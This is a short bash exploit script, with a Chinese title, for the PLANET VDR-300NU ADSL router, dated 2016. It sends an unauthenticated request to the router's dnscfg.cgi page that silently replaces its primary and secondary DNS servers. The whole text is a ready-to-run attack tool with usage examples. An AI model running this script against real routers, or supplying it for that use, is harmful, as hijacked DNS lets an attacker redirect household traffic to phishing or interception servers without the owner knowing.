PLANET VDR-300NU ADSL Router - 未授权修改DNS

if [[ $# -gt 3 || $# -lt 2 ]]; then echo " PLANET VDR-300NU ADSL ROUTER " echo " Unauthenticated Remote DNS Change Exploit" echo " ===================================================================" echo " Usage: $0 <Target> <Primary DNS> <Secondary DNS>" echo " Example: $0 133.7.133.7 8.8.8.8" echo " Example: $0 133.7.133.7 8.8.8.8 8.8.4.4" echo "" echo " Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>" echo " https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg" exit; fi GET=`which GET 2>/dev/null` if [ $? -ne 0 ]; then echo " Error : libwww-perl not found =/" exit; fi GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1